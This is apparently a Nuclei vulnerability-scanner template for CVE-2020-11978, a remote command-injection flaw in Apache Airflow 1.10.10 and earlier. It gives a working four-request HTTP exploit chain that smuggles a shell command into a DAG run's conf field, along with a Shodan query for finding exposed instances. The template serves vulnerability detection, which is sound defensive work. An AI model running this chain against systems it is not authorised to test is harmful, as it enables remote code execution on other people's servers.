id: CVE-2020-11978 info: name: Apache Airflow <=1.10.10 - Remote Code Execution author: pdteam severity: high description: Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. remediation: If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable. reference: - https://github.com/pberba/CVE-2020-11978 - https://twitter.com/wugeej/status/1400336603604668418 - https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E - https://nvd.nist.gov/vuln/detail/CVE-2020-11978 - http://packetstormsecurity.com/files/174764/Apache-Airflow-1.10.10-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2020-11978 cwe-id: CWE-78 epss-score: 0.97156 epss-percentile: 0.99761 cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:* metadata: verified: true max-request: 4 vendor: apache product: airflow shodan-query: http.html:"Apache Airflow" || title:"Airflow - DAGs" tags: packetstorm,cve,cve2020,apache,airflow,rce,kev http: - raw: - | GET /api/experimental/test HTTP/1.1 Host: {{Hostname}} Accept: */* - | GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1 Host: {{Hostname}} Accept: */* - | POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/json {"conf": {"message": "\"; touch test #"}} - | GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1 Host: {{Hostname}} Accept: */* matchers-condition: and matchers: - type: dsl dsl: - 'contains(body_4, "operator":"BashOperator")' - 'contains(header_4, "application/json")' condition: and extractors: - type: regex name: exec_date group: 1 regex: - '"execution_date":"([0-9-A-Z:+]+)"' internal: true part: body # digest: 4b0a00483046022100f81c95f57885c60e617f08bc9daa11ece6771ad4515ba80fa0b69c176d8b53ec022100e67f1615144670720a473d27a570766098a15fdc07c65f812ba63032f93f3bfd:922c64590222798bb761d5b6d8e72950